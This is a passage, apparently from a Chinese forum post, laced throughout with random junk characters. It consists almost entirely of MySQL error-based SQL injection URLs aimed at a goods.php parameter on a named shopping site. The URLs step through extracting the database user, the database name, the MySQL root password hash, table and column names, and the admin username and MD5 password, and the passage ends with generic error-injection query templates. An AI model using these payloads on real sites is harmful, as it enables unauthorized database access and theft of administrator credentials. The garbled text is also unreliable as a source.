# s' `1 x% Z* \$ m( N4 vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 4 P* x# |; r6 a4 {0 `* d 0 h' a) U7 I1 L6 d* X$ e2 U7 e 9 H. H' y3 h/ M " X8 R/ S; [$ t' `当前 database(); y! t* n: R5 z* s2 W http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 $ o5 B( D8 p6 x, @& } 2 _1 Q+ x) Q R( C5 Q4 | & [4 c" E0 v- h& u( |3 ~ M, f/ l# ?# v8 `' X
9 l2 s5 n- C- B& }8 p* x( Droot hash: W% E) B) x0 s% [* s- j- u
$ T7 g/ t' [. U. d http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 z$ ] O; d( Y4 h4 x
! V4 R7 C% G, [4 I / e; I( j% r" U, x, f5 B' o: @. f X6 r/ I& }3 {8 j
当前 数据库表名 ' m2 L9 `- W3 p1 i1 ^8 Z: D8 {* u {8 e9 U+ q8 N http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 ) O) \) I6 @! `! g+ I) B+ @& N ( _& C$ y! R4 r- E- G% r 6 M# c: |, b5 K- l# e+ N6 t7 T9 F, Y7 A) n5 ?
当前 数据库 user_name 字段$ H+ }9 ~) T z& S; `6 ~0 _
+ N \& Q1 d" u5 w5 T: {http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; e8 E- q" c6 D
% B3 \. x) I' C, L
当前 数据库 字段 password8 a4 Q, l8 N4 |4 v0 A http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 + Q8 q: B# V' I8 M9 i/ R ( `- N% H4 }+ { {2 i4 R: W0 {' C4 U+ e0 _! K" J3 Q; a2 Z( _/ f
获得 admin passwd(md5) : E1 k5 e& {* [5 w 9 |5 \3 h: I4 k1 Y2 f' O F# E+ p ' H8 Z9 j2 J j; o2 mhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" Y: T6 h- j7 o- l9 N
4 R0 \+ j H7 w- x) M0 \, K3 W
报错注射3 r# ~' E* J4 J8 }. r: x
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)' t9 z6 T' B8 P( [
3 v3 X( k, P% sSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a). a4 j# V3 ]* W% z, V4 B
8 t9 n: l8 f% r" L: e
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)